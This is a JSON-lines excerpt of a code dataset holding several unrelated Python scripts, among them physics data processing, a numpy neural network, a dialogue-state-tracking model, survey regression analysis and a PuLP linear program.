str(splitcoupon[0]),\\\n str(splitcoupon[1]), str(splitcoupon[2])]\n if(len(couponName)>0): \n splitcoupon.insert(0,couponName)\n if (len(cleanedList) != 0):\n try: \n w.writerow(cleanedList)\n except:\n pass\n \n #closing the CSV file=========================================================\n csvFile.close()\n csvFileD.close()\nprint(\"Conversion done.\\nFilenames are --> \")\nprint(\"1. For Directory Structure - {} \\n2. For FileStructure Associated with domain knowledge - {}\".format(nameOfDirectoryCsv,nameOfCSV))\n\n\n","sub_path":"darpa-CSSubteaam/pathTraversal/pathTraversal.py","file_name":"pathTraversal.py","file_ext":"py","file_size_in_byte":7184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"364167089","text":"import csv\nimport numpy as np\n\namps = 300\nnormalise = 1\n\ngap = 50\ndata = []\ndataArray = []\n\nr2 = 200\nr1 = r2-gap\n\ncorrFactor = (r1/gap)*(np.log((r1+gap)/r1))\nprint(corrFactor, r1+gap)\n\na, b = \"\", \"\"\n\n\n# print(\"gap = \", gap)\nwith open(\"./CTLM/{}.txt\".format(gap)) as file:\n data = np.asarray(file.readlines())\n\ndata = np.asarray(data[1:])\n# print(data)\n# print('len= ', len(data))\nresistance = np.zeros(0)\nfor j in range(len(data)):\n # print(\"j = \", j)\n dataArray.append(data[j].split('\\t'))\n # print(\"here\")\n # print(dataArray[j])\n if float(dataArray[j][0]) != 0:\n resistance = np.append(resistance, (float(dataArray[j][1])/(0.001*float(dataArray[j][0]))))\n # print(float(dataArray[j][1]), float(dataArray[j][0]), resistance)\n dataArray[j][1] = dataArray[j][1][:-1]\n a = \"({},{})\\n\".format(dataArray[j][0], dataArray[j][1])\n b += a\n\n# print(resistance)\nfinalResistance = np.median(resistance)\n# print(finalResistance)\n\ncounter = 0\nfor i in range(len(resistance)):\n if resistance[i] > 1.1*finalResistance or resistance[i] < 0.9*finalResistance:\n resistance[i] = 0\n counter += 1\n# print(\"counter =\", counter)\n# print(np.max(resistance))\nfinalResistance = np.average(resistance)\n# print(finalResistance)\nfinalResistance = np.average(resistance)*(len(resistance)/(len(resistance)-counter))\ncorrResistance = finalResistance/corrFactor\n# print((len(resistance)/(len(resistance)-counter)))\n# print(finalResistance)\n\n\n\n# squaredError = np.square(finalResistance-resistance)\n# # print(squaredError)\n# meanSquared = 0\n# for i in range(len(resistance)):\n# meanSquared += squaredError[i]\n\n# # print(meanSquared, np.max(squaredError))\n# meanSquared = (np.sum(squaredError))/len(squaredError)\n# # print(meanSquared)\n\n# counter = 0\n# for i in range(len(squaredError)):\n# if squaredError[i] > 0.1*meanSquared:\n# squaredError[i] = 0\n# counter += 1\n \n# # print(\"counter ={}\".format(counter))\n# meanSquared = (np.sum(squaredError))/(len(squaredError)-counter)\n\n# print('here')\n# print(len(squaredError))\n# print(meanSquared)\n\nb = \"({},{})\\n\".format(gap, corrResistance)\nfile1 = open(\"./angus_bruce/processed/CTLM_res_corr_output.txt\".format(gap),mode=\"a\")#append mode \nfile1.write(b) \nfile1.close()\n \n # data0, data1 = np.hsplit(data[i],)\n\n\n# with open('./angus_bruce/spectrum_{}mA.csv'.format(amps), newline='') as csvfile:\n# data = list(csv.reader(csvfile))\n\n# if data:\n# numberRows = len(data)\n\n# semiFinder = [-1] * numberRows\n# counter = 0\n\n# for i in range(numberRows):\n# semiFinder[i] = data[i][0].find(';')\n# if semiFinder[i] == 16:\n# counter += 1\n\n# a = []\n# b = []\n\n# for i in range(numberRows):\n# if semiFinder[i] == 16:\n# try:\n# # a = \"({},{})\\n\".format(float(data[i][0].split(\";\")[0]), float(data[i][0].split(\";\")[1]))\n# a = [float(data[i][0].split(\";\")[0]), float(data[i][0].split(\";\")[1])]\n# b.append(a)\n# except ValueError:\n# print(\"On line {}, not a number, skipping...\".format(i))\n\n# b = np.asarray(b)\n\n# if normalise == 1:\n# print(\"Normailising\")\n# b0, b1 = np.hsplit(b, 2)\n# print(b0)\n# print(b1)\n# b1 /= np.max(b1)\n# b = np.column_stack((b0, b1))\n# print(\"Normailised\")\n# print(b)\n\n# output = \"\"\n\n# print(np.shape(b))\n# print(len(b))\n\n# for i in range(len(b)):\n# a = \"({},{})\\n\".format(b[i][0], b[i][1])\n# output += a\n\n# file1 = open(\"./angus_bruce/processed/spectrum_{}mA_output.txt\".format(amps),\"w\")#write mode \n# file1.write(output) \n# file1.close()","sub_path":"Figures/ctlm_convert_to_latex_correction.py","file_name":"ctlm_convert_to_latex_correction.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"845362","text":"import os\nimport tarfile\nfrom six.moves import urllib\nimport pandas as pd\n\ndownload_root = \"https://raw.githubusercontent.com/ageron/handson-ml/master/\"\nHOUSING_PATH = \"../data_deal/datasets/housing\"\nHOUSING_URL = download_root + HOUSING_PATH + \"/housing.tgz\"\n\n\ndef fetch_housing_data(housing_url=HOUSING_URL, housing_path=HOUSING_PATH):\n if not os.path.isdir(housing_path):\n os.makedirs(housing_path)\n tgz_path = os.path.join(housing_path,'housing.tgz')\n urllib.request.urlretrieve(housing_url,tgz_path)\n housing_tgz = tarfile.open(tgz_path)\n housing_tgz.extractall(path=housing_path)\n housing_tgz.close()\n\n\n# fetch_housing_data()\n\ndef load_housing_data(housing_path = HOUSING_PATH):\n csv_path = os.path.join(housing_path,\"housing.csv\")\n return pd.read_csv(csv_path)\n\n# housing_data = load_housing_data()\n# print(housing_data.info())\n\n# print(housing_data[\"ocean_proximity\"].value_counts())\n'''\n<1H OCEAN 9136\nINLAND 6551\nNEAR OCEAN 2658\nNEAR BAY 2290\nISLAND 5\nName: ocean_proximity, dtype: int64\n'''\n\n\n'''\n获得数据集\n\n\nRangeIndex: 20640 entries, 0 to 20639\nData columns (total 10 columns):\n # Column Non-Null Count Dtype \n--- ------ -------------- ----- \n 0 longitude 20640 non-null float64\n 1 latitude 20640 non-null float64\n 2 housing_median_age 20640 non-null float64\n 3 total_rooms 20640 non-null float64\n 4 total_bedrooms 20433 non-null float64\n 5 population 20640 non-null float64\n 6 households 20640 non-null float64\n 7 median_income 20640 non-null float64\n 8 median_house_value 20640 non-null float64\n 9 ocean_proximity 20640 non-null object \ndtypes: float64(9), object(1)\nmemory usage: 1.6+ MB\n\n'''\n","sub_path":"data_deal/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"226592583","text":"#!/usr/bin/python\nfrom math import sqrt, exp\n\ndef fkt(x,r):\n n = len(x)\n out1 = 0\n out2 = 0\n c = 100\n damp = n**2\n rij = [0]*5\n\n for i in xrange(0, n, 2):\n for j in xrange(i + 2, n, 2):\n dist = (x[i] - x[j]) ** 2 + (x[i + 1] - x[j + 1]) ** 2\n out1 = out1 + sqrt(dist)\n rij = r[(i)/2]+r[(j)/2]\n out2 = out2 + (rij**2 - dist) * exp((c/rij**2)*(rij**2-dist));\n\n out = (out1 + out2) * damp\n return out\n","sub_path":"acp/fkt.py","file_name":"fkt.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"280088479","text":"import numpy as np\n\n\nclass NeuralNetwork:\n def __init__(self, layers, alpha=0.1):\n # initialize the list of weights matrices, then store the\n # network architecture and learning rate\n self.W = []\n self.layers = layers\n self.alpha = alpha\n for i in np.arange(0, len(layers) - 2):\n # randomly initialize a weight matrix connecting the\n # number of nodes in each respective layer together,\n # adding an extra node for the bias\n w = np.random.randn(layers[i] + 1, layers[i + 1] + 1)\n self.W.append(w / np.sqrt(layers[i]))\n w = np.random.randn(layers[-2] + 1, layers[-1])\n self.W.append(w / np.sqrt(layers[-2]))\n\n def sigmoid_deriv(self, x):\n\n # compute the derivative of the sigmoid function ASSUMING\n # that ‘x‘ has already been passed through the ‘sigmoid‘\n # function\n return x * (1 - x)\n\n def sigmoid(self, x):\n\n # compute and return the sigmoid activation value for a\n # given input value\n return 1.0 / (1 + np.exp(-x))\n\n def __repr__(self):\n\n # construct and return a string that represents the network\n # architecture\n return \"NeuralNetwork: {}\".format(\n \"-\".join(str(l) for l in self.layers))\n\n def fit_partial(self, x, y):\n\n # construct our list of output activations for each layer\n # as our data point flows through the network; the first\n # activation is a special case -- it’s just the input\n # feature vector itself\n A = [np.atleast_2d(x)]\n for layer in np.arange(0, len(self.W)):\n net = A[layer].dot(self.W[layer])\n out = self.sigmoid(net)\n A.append(out)\n error = A[-1] - y\n D = [error * self.sigmoid_deriv(A[-1])]\n for layer in np.arange(len(A) - 2, 0, -1):\n # the delta for the current layer is equal to the delta\n # of the *previous layer* dotted with the weight matrix\n # of the current layer, followed by multiplying the delta\n # by the derivative of the nonlinear activation function\n # for the activations of the current layer\n delta = D[-1].dot(self.W[layer].T)\n delta = delta * self.sigmoid_deriv(A[layer])\n D.append(delta)\n D = D[::-1]\n for layer in np.arange(0, len(self.W)):\n self.W[layer] += -self.alpha * A[layer].T.dot(D[layer])\n\n def predict(self, X, addBias=True):\n p = np.atleast_2d(X)\n if addBias:\n p = np.c_[p, np.ones((p.shape[0]))]\n\n for layer in np.arange(0, len(self.W)):\n p = self.sigmoid(np.dot(p, self.W))\n return p\n\n def calculate_loss(self, X, targets):\n\n targets = np.atleast_2d(targets)\n predictions = self.predict(X, addBias=False)\n loss = 0.5 * np.sum((predictions - targets) ** 2)\n\n return loss\n\n def fit(self, X, y, epochs=1000, displayUpdate=100):\n\n # insert a column of 1’s as the last entry in the feature\n # matrix -- this little trick allows us to treat the bias\n # as a trainable parameter within the weight matrix\n X = np.c_[X, np.ones((X.shape[0]))]\n # loop over the desired number of epochs\n for epoch in np.arange(0, epochs):\n # loop over each individual data point and train\n # our network on it\n for (x, target) in zip(X, y):\n self.fit_partial(x, target)\n\n if epoch == 0 or (epoch + 1) % displayUpdate == 0:\n loss = self.calculate_loss(X, y)\n print(\"[INFO] epoch={}, loss={:.7f}\".format(\n epoch + 1, loss))\n","sub_path":"pyimagesearch/nn/NeuralNetwork.py","file_name":"NeuralNetwork.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"80607166","text":"#create function/ define func\n# i, j are varables/ parameters\n\ndef iiec(*i):\n\tm = 0\n\tfor j in i:\n\t\tm = j + m\n\treturn m\t\n\n\n# to run / calling a func\n\nu = iiec(2,5,8,4,1)\nprint(u)\n\nd = iiec(3,2)\nprint(d)","sub_path":"f.py","file_name":"f.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"495882574","text":"from argparse import Namespace, ArgumentParser\nfrom typing import Dict, List\nfrom pathlib import Path\nfrom itertools import chain\n\nimport torch\nfrom torch import nn\nfrom torch.optim import Adam\nfrom torch.utils.data import DataLoader\nfrom pytorch_lightning import LightningModule\nfrom ipdb import set_trace\n\nfrom src.preprocess import preprocess\nfrom src.tokenizer import get_tokenizer, WordLevelTokenizer\nfrom src.dataset import MultiWozDSTDataset\nfrom src.positional_embedding import PositionalEncoding\n\n\ndef ctc_collapse(seq: List, padding) -> List:\n collapse = []\n prev = None\n for x in seq:\n if x == prev or x == padding:\n pass\n else:\n collapse.append(x)\n prev = x\n return collapse\n\n\nclass NATODS(LightningModule):\n @staticmethod\n def add_model_specific_args(parent_parser):\n parser = ArgumentParser(parents=[parent_parser])\n\n # Embedding / Vocab\n parser.add_argument('--embedding_dim', default=256)\n\n parser.add_argument('--dropout', default=0.1)\n\n # Transformer Encoder\n parser.add_argument('--hidden_dim', default=256)\n parser.add_argument('--num_heads', default=4)\n parser.add_argument('--num_passes', default=2)\n\n # optimizer\n parser.add_argument('--lr', default=3e-4, type=float)\n parser.add_argument('--weight_decay', default=0, type=float)\n\n # data\n parser.add_argument('--input_multiplier', default=4, type=int,\n help='# times to repeat input in order to make input longer than output')\n\n # dataset\n parser.add_argument('--train_path',\n default='./.data/MultiWoz_2.1_NADST_Version/data2.1/nadst_train_dials.json')\n parser.add_argument('--val_path',\n default='./.data/MultiWoz_2.1_NADST_Version/data2.1/nadst_dev_dials.json')\n parser.add_argument('--test_path',\n default='./.data/MultiWoz_2.1_NADST_Version/data2.1/nadst_test_dials.json')\n parser.add_argument('--ontology_path',\n default='./.data/MultiWoz_2.1_NADST_Version/data2.1/multi-woz/MULTIWOZ2.1/ontology.json')\n\n # tokenizer\n parser.add_argument('--tokenizer_path',\n default='./tokenizer/multiwoz2.1-vocab.json')\n\n # dataloader\n parser.add_argument('--batch_size', default=128, type=int)\n\n return parser\n\n def __init__(self, hparams: Namespace):\n super().__init__()\n self.hparams = hparams\n\n self.criterion = nn.CTCLoss()\n\n if Path(self.hparams.tokenizer_path).exists():\n self.tokenizer = WordLevelTokenizer(self.hparams.tokenizer_path)\n else:\n train_turns = preprocess(self.hparams.train_path,\n self.hparams.ontology_path)\n self.tokenizer = get_tokenizer(train_turns,\n self.hparams.tokenizer_path)\n\n # embedding\n self.embedding = nn.Embedding(self.tokenizer.get_vocab_size(),\n self.hparams.embedding_dim)\n self.pos_embedding = PositionalEncoding(\n d_model=self.hparams.embedding_dim,\n dropout=self.hparams.dropout)\n\n # value decoder\n self.value_decoder = nn.ModuleList([\n nn.MultiheadAttention(\n embed_dim=self.hparams.hidden_dim,\n num_heads=self.hparams.num_heads,\n dropout=self.hparams.dropout)\n for _ in range(3)])\n self.vocab_proj = nn.Linear(self.hparams.hidden_dim,\n self.tokenizer.get_vocab_size())\n\n def forward(self,\n batch: Dict[str, torch.Tensor]\n ) -> torch.Tensor:\n # history\n delex_history_embed = self.pos_embedding(\n self.embedding(batch['ids_delex_history']))\n history_embed = self.pos_embedding(\n self.embedding(batch['ids_history']))\n\n # value decoder's input\n fert_domain_embed = self.embedding(batch['ids_input_domain'])\n fert_slot_embed = self.embedding(batch['ids_input_slot'])\n fert_token_embed = self.pos_embedding(\n fert_domain_embed + fert_slot_embed)\n\n # value decooding\n z_fert_ds = self.forward_attentions(self.value_decoder,\n fert_token_embed,\n delex_history_embed,\n history_embed)\n value_logit = self.vocab_proj(z_fert_ds)\n return value_logit\n\n def forward_attentions(self, decoders, token_embed,\n delex_history_embed, history_embed\n ) -> torch.Tensor:\n assert len(decoders) == 3\n assert self.hparams.num_passes > 0\n z_ds_0 = token_embed\n for _ in range(self.hparams.num_passes):\n z_ds_1, _ = decoders[0].forward(\n query=z_ds_0, key=z_ds_0, value=z_ds_0,\n )\n z_ds_2, _ = decoders[1].forward(\n query=z_ds_1, key=delex_history_embed, value=delex_history_embed,\n )\n z_ds_3, _ = decoders[2].forward(\n query=z_ds_2, key=history_embed, value=history_embed,\n )\n z_ds_0 = z_ds_3 + z_ds_0\n return z_ds_0\n\n def calculate_loss(self,\n logits: torch.Tensor,\n batch: Dict\n ) -> torch.Tensor:\n log_probs = logits.log_softmax(-1)\n intput_lengths = torch.LongTensor(\n [log_probs.size(0)] * log_probs.size(1))\n targets = batch['value'].T\n target_lengths = torch.sum(targets != self.train_dataset.ignore_idx, 1)\n assert all(intput_lengths[0] >= l for l in target_lengths), target_lengths\n loss = self.criterion(log_probs, targets,\n intput_lengths, target_lengths)\n return loss\n\n def calculate_metrics(self,\n outputs: List[Dict[ str, torch.Tensor]],\n ) -> Dict[str, float]:\n metrics = {}\n pred_idxs = torch.cat([x['preds'] for x in outputs], 1).T\n preds_str = self.tokenizer.decode_batch(\n [ctc_collapse(seq, 0) for seq in pred_idxs.tolist()])\n value_str = list(chain.from_iterable([x['value_str'] for x in outputs]))\n assert len(value_str) == len(preds_str)\n metrics['accuracy/joint'] = \\\n sum(1 if gt == pred else 0\n for gt, pred in zip(value_str, preds_str)) / len(value_str)\n return metrics\n\n def training_step(self, batch, batch_idx):\n logits = self.forward(batch)\n loss = self.calculate_loss(logits, batch)\n return {'loss': loss, 'log': {'loss/train': loss}}\n\n def validation_step(self, batch, batch_idx):\n logits = self.forward(batch)\n loss = self.calculate_loss(logits, batch)\n return {'loss': loss.cpu(),\n 'preds': logits.cpu().argmax(-1),\n 'value_str': batch['value_str'],\n }\n\n def validation_epoch_end(self, outputs, mode='val'):\n loss = torch.stack([x['loss'] for x in outputs]).mean()\n metrics = self.calculate_metrics(outputs)\n log = {\n **{f\"loss/{mode}\": loss},\n **{f'metrics/{mode}/{k}': v for k, v in metrics.items()}\n }\n return {f'{mode}_loss': loss, 'log': log}\n\n def test_step(self, *args, **kwargs):\n return self.validation_step(*args, **kwargs)\n\n def test_epoch_end(self, *args, **kwargs):\n return self.validation_epoch_end(*args, **kwargs, mode='test')\n\n def configure_optimizers(self):\n optimizer = Adam(\n self.parameters(),\n lr=self.hparams.lr,\n weight_decay=self.hparams.weight_decay,\n )\n return optimizer\n\n def prepare_data(self) -> None:\n train_turns = preprocess(self.hparams.train_path,\n self.hparams.ontology_path)\n val_turns = preprocess(self.hparams.val_path,\n self.hparams.ontology_path)\n test_turns = preprocess(self.hparams.test_path,\n self.hparams.ontology_path)\n self.train_dataset = MultiWozDSTDataset(train_turns,\n self.tokenizer,\n self.hparams.input_multiplier)\n self.val_dataset = MultiWozDSTDataset(val_turns,\n self.tokenizer,\n self.hparams.input_multiplier)\n self.test_dataset = MultiWozDSTDataset(test_turns,\n self.tokenizer,\n self.hparams.input_multiplier)\n\n def train_dataloader(self) -> DataLoader:\n return DataLoader(\n self.train_dataset,\n batch_size=self.hparams.batch_size,\n shuffle=True,\n collate_fn=self.train_dataset.collate_fn,\n )\n\n def val_dataloader(self) -> DataLoader:\n return DataLoader(\n self.val_dataset,\n batch_size=self.hparams.batch_size,\n collate_fn=self.val_dataset.collate_fn,\n )\n\n def test_dataloader(self) -> DataLoader:\n return DataLoader(\n self.test_dataset,\n batch_size=self.hparams.batch_size,\n collate_fn=self.test_dataset.collate_fn,\n )\n","sub_path":"src/ctcdst/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":9620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"554088405","text":"\n# def longest_word():\n \n\n# longest_word()\n\nprint('Lets see which word is the longest')\nprint('Heres the list')\nwords = [\n 'mystery',\n 'brother',\n 'aviator',\n 'crocodile',\n 'pearl',\n 'orchard',\n 'crackpot'\n]\nprint(words)\nlongest = max(words, key=len)\nprint('The longest word is:', longest)","sub_path":"exercises/longest_word.py","file_name":"longest_word.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"304979172","text":"import re\nimport os\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom mu2e import mu2e_ext_path\nfrom emtracks.plotting import config_plots\n\nconfig_plots()\n\ndef check_dir(dirname):\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n# a few functions to keep code DRY\ndef get_data(df, var, query=None):\n if query is None:\n df_ = df\n else:\n df_ = df.query(query)\n data = df_[var].values\n return data\n\n# reference label\n# label_temp = '{0}\\n' + r'$\\mu = {1:.3E}$'+ '\\n' + 'std' + r'$= {2:.3E}$' + '\\n' + 'Integral: {3}\\n' + 'Underflow: {4}\\nOverflow: {5}'\n\ndef get_label(name, data, bins):\n if type(bins) == int:\n over=0\n under=0\n # sci\n # mean = f'{np.mean(data):.3E}'\n # std = f'{np.std(data, ddof=1):.3E}'\n # label = f'mean: {mean:>15}' + '\\n' + f'stddev: {std:>15}' + '\\n' + f'Integral: {len(data):>17}\\nUnderflow: {under:>16}\\nOverflow: {over:>16}'\n # float\n # mean = f'{np.mean(data):.1f}'\n # std = f'{np.std(data, ddof=1):.1f}'\n mean = f'{np.mean(data):.2f}'\n std = f'{np.std(data, ddof=1):.2f}'\n label = f'mean: {mean:>9}' + '\\n' + f'stddev: {std:>8}' + '\\n' + f'Integral: {len(data):>5}\\nUnder: {under:>11}\\nOver: {over:>13}'\n else:\n over = (data > np.max(bins)).sum()\n under = (data < np.min(bins)).sum()\n data = data[(data <= np.max(bins)) & (data >= np.min(bins))]\n # sci\n # mean = f'{np.mean(data):.3E}'\n # std = f'{np.std(data, ddof=1):.3E}'\n # label = f'mean: {mean:>15}' + '\\n' + f'stddev: {std:>15}' + '\\n' + f'Integral: {len(data)-over-under:>17}\\nUnderflow: {under:>16}\\nOverflow: {over:>16}'\n # float\n # mean = f'{np.mean(data):.1f}'\n # std = f'{np.std(data, ddof=1):.1f}'\n mean = f'{np.mean(data):.2f}'\n std = f'{np.std(data, ddof=1):.2f}'\n label = f'mean: {mean:>9}' + '\\n' + f'stddev: {std:>8}' + '\\n' + f'Integral: {len(data)-over-under:>5}\\nUnder: {under:>11}\\nOver: {over:>13}'\n # label = f'{name}\\n' + rf'$\\mu: {np.mean(tand):.3E}$' + '\\n' + rf'$\\sigma: {np.std(tand):.3E}$' + '\\n' + f'Integral: {len(tand)}\\nUnderflow: {under}\\nOverflow: {over}'\n # std = f'{np.std(data):.3E}'\n # n = 15\n return label\n\ndef make_plot_hist(df, name='Mau9 70%', var='tand_Mau9_70', xl=r'$\\tan(\\mathrm{dip})$', query=None, queryn='full', bins=20, legendloc='upper right', plotdir=None, Bname=\"\", fig=None, ax=None, save=True):\n data = get_data(df, var, query)\n if ax is None:\n fig, ax = plt.subplots()\n sname = re.search('_(.*)_', Bname).group(1).replace('_','\\ ')\n # sname = Bname[:-9] # re.search('_(.*)_', Bname).group(1)\n # sname = \"\"# Bname[:-9] # re.search('_(.*)_', Bname).group(1)\n ax.hist(data, bins=bins, histtype='step', linewidth=1.5, label=rf'$\\bf{{{sname}}}$'+'\\n'+get_label(None, data, bins))\n # ax.hist(data, bins=bins, histtype='step', linewidth=1.5, label=get_label(None, data, bins))\n ax.set_ylabel('Events')\n ax.set_xlabel(xl)\n if query is None:\n plt.title(Bname)\n else:\n plt.title(Bname+'\\n'+queryn)\n plt.legend(loc=legendloc, fontsize=14)\n # plt.xlim([-1.,1.]) # MeV\n # plt.xlim([-1000.,1000.]) # keV\n if save:\n h = ''\n # h = '_huber'\n fig.savefig(plotdir+Bname+h+'.pdf')\n fig.savefig(plotdir+Bname+h+'.png')\n return fig, ax\n\nif __name__=='__main__':\n # check plot output directory and create if doesn't exist\n #######\n #B_dir = 'cartesian_test' # done\n # B_dir = 'default' # done\n B_dir = 'k2_test' # done\n # B_dir = 'delta_Z_tests' # done\n # B_dir = 'hp_bias' # done\n # B_dir = 'ensemble_random_scale_factor' # done\n #######\n pdir = mu2e_ext_path + 'pickles/Bfit_CE_reco/' + B_dir + '/'\n # plotdir = mu2e_ext_path + 'plots/html/deltaP/' + B_dir + '/'\n plotdir = mu2e_ext_path + 'plots/html/deltaP/' + B_dir + '/single/'\n check_dir(plotdir)\n\n # get files in pickle directory\n files = sorted(os.listdir(pdir))\n # files_run = [i for i in files if i != \"Mau13_sparserz_huber_deltaP.p\"]\n # files_run = [i for i in files if i != \"Mau13_sparserz_deltaP.p\"]\n files_run = files\n # print(files_run)\n\n # xl = r'$p_{\\mathrm{MC}} -p_{\\mathrm{fit}}$ [keV]'\n xl = 'Momentum Shift [keV]'\n\n fig = None; ax = None\n for f in files_run:\n fig = None; ax = None\n df = pd.read_pickle(pdir+f)\n # make_plot_hist(df, var='deltaP', xl=xl, query=None, queryn='', bins=20, legendloc='best', plotdir=plotdir, Bname=f[:-2])\n # UNITS keV\n df.eval('deltaP = deltaP * 1000', inplace=True)\n # fig, ax = make_plot_hist(df, var='deltaP', xl=xl, query=None, queryn='', bins=np.linspace(-1000,1000,201), legendloc='upper left', plotdir=plotdir, Bname=f[:-2], fig=fig, ax=ax)\n # fig, ax = make_plot_hist(df, var='deltaP', xl=xl, query=None, queryn='', bins=np.linspace(-50,50,51), legendloc='upper left', plotdir=plotdir, Bname=f[:-2], fig=fig, ax=ax)\n fig, ax = make_plot_hist(df, var='deltaP', xl=xl, query=None, queryn='', bins=20, legendloc='upper left', plotdir=plotdir, Bname=f[:-2], fig=fig, ax=ax, save=True)\n # ALTERATION FOR MSC SEMINAR\n ax.plot([0., 0.], [0., 150.], 'r--')\n ax.set_xlim([-100, 100])\n ax.set_ylim([0, 145])\n fig.savefig(f'/home/ckampa/data/plots/html/deltaP/MSC_June2023/{B_dir}_{f}_wide.pdf')\n fig.savefig(f'/home/ckampa/data/plots/html/deltaP/MSC_June2023/{B_dir}_{f}_wide.png')\n # plt.show()\n","sub_path":"scripts/FieldFitting/deltaP_Bfit_plots.py","file_name":"deltaP_Bfit_plots.py","file_ext":"py","file_size_in_byte":5558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"11414853","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn import linear_model\nimport math\nfrom sklearn.preprocessing import OneHotEncoder\ndf_schema = pd.read_csv('survey_results_schema.csv')\ndf_survey = pd.read_csv('survey_results_public.csv',\n usecols=['Respondent','YearsCode','Age1stCode','WorkWeekHrs','CodeRevHrs','Age'],\n index_col='Respondent')\ndf_survey.head(20)\ndf_survey.shape\ndf_survey.dropna(inplace=True)\ndf_survey.shape\ndf_survey['CodeRevHrs'] = df_survey['CodeRevHrs'].astype('int64')\ndf_survey.replace(to_replace='Younger than 5 years', value='4', inplace=True)\ndf_survey.replace(to_replace='Older than 85', value='86', inplace=True)\ndf_survey.replace(to_replace={'Less than 1 year': '0',\n 'More than 50 years': '51'},\n inplace=True)\ndf_survey = df_survey.astype('int64', copy=False)\nplt.plot(df_survey['Age'], df_survey['YearsCode'], 'ro', markersize=0.3)\nplt.xlabel('Age')\nplt.ylabel('YearsCode')\nplt.show()\nplt.plot(df_survey['Age'], df_survey['Age1stCode'], 'ro', markersize=0.3)\nplt.xlabel('Age')\nplt.ylabel('Age1stCode')\nplt.show()\nplt.plot(df_survey['Age1stCode'], df_survey['YearsCode'], 'ro', markersize=0.3)\nplt.xlabel('Age1stCode')\nplt.ylabel('YearsCode')\nplt.show()\n#x1 = Age\n#x2 = Age1stCode\n#y = YearsCode\ndf_survey ['CodeRev'] = pd.read_csv('survey_results_public.csv',\n usecols=['CodeRev'])\ndf_survey.replace(to_replace='Yes, because I see value in code review', value='Yes', inplace=True)\ndf_survey.replace(to_replace='Yes, because I was told to do so', value='Yes', inplace=True)\nCodeRev = df_survey['CodeRev']\nfor index, category in CodeRev.items():\n if (not isinstance(category, str) and math.isnan(category)):\n CodeRev[index] = 0\ndf_survey['CodeRev'] = CodeRev\ndf_survey.replace(to_replace='Yes', value='1', inplace=True)\ndf_survey.replace(to_replace='No', value='0', inplace=True)\ndf_survey ['Student'] = pd.read_csv('survey_results_public.csv',\n usecols=['Student'])\nX = df_survey['Student']\nX_new = []\nunique_categories = {}\ncurrent_index = 0\nfor index, value in X.items():\n category = value\n if (not isinstance(category, str) and math.isnan(category)):\n category = 'No answer'\n\n if (category not in unique_categories):\n current_index += 1\n unique_categories[category] = current_index\n X_new.append([current_index, category])\n X[index] = unique_categories[category]\n\nohe = OneHotEncoder(categories='auto')\nstudents_categories = ohe.fit_transform(X_new).toarray()\ndf_survey['CodeRev'] = df_survey['CodeRev'].astype('int64')\ndf_survey['Student'] = X.astype('int64')\ndf_survey_clr = df_survey[['YearsCode','Age1stCode','Age','CodeRev','Student']]\nQ1 = df_survey_clr.quantile(0.25)\nQ3 = df_survey_clr.quantile(0.75)\nIQR = Q3 - Q1\ndf_survey_clr_q = df_survey_clr[~((df_survey_clr < (Q1 - 1.5 * IQR)) | (df_survey_clr > (Q3 + 1.5 * IQR))).any(axis=1)]\ndf_survey_clr_sd = df_survey_clr[np.abs(df_survey_clr - df_survey_clr.mean()) <= 3*df_survey_clr.std()]\ndf_survey_clr_sd.isna().sum()\ndf_survey_clr_sd = df_survey_clr_sd.dropna()\ndf_survey_clr_m = df_survey_clr[df_survey_clr.YearsCode < 40]\nx = df_survey_clr['YearsCode']\nplt.hist(x, bins=100)\nplt.show();\ndf_survey_clr_row = df_survey_clr[df_survey_clr.YearsCode > 40].index\ndf_survey_clr_fin = df_survey_clr.drop(df_survey_clr_row, axis=0)\nprint(df_survey_clr.corr())\nprint(df_survey_clr_fin.corr())\nsns.boxplot(y='YearsCode', data=df_survey_clr_fin)\nplt.show();\nreg4_1 = linear_model.LinearRegression()\nreg4_1_r = reg4_1.fit(df_survey_clr_fin[['Age']], df_survey_clr_fin['YearsCode'])\nreg4_1_y_p = reg4_1.predict([[60]])\nreg4_2 = linear_model.LinearRegression()\nreg4_2_r = reg4_2.fit(df_survey_clr_fin[['Age','Age1stCode']], df_survey_clr_fin['YearsCode'])\nreg4_2_y_p = reg4_2.predict(df_survey_clr_fin[['Age','Age1stCode']])\nreg4_3 = linear_model.LinearRegression()\nreg4_3_y = reg4_3.fit(df_survey_clr_fin[['Age','Age1stCode','CodeRev','Student']],df_survey_clr_fin['YearsCode'])\nreg4_3_y_p = reg4_3.predict(df_survey_clr_fin[['Age','Age1stCode','CodeRev','Student']])\n\n","sub_path":"Zestaw_zadan2.py","file_name":"Zestaw_zadan2.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"192835652","text":"import pulp\nfrom pulp import * \n\n# declare your variables\nx1 = LpVariable(\"x1\",lowBound=0,cat='Integer') \nx2 = LpVariable(\"x2\",lowBound=0,cat='Integer') \nx3 = LpVariable(\"x3\",lowBound=0,cat='Integer') \n\n# defines the problem\nprob = LpProblem(\"problem\", LpMaximize)\n\n# defines the constraints\nprob += x1 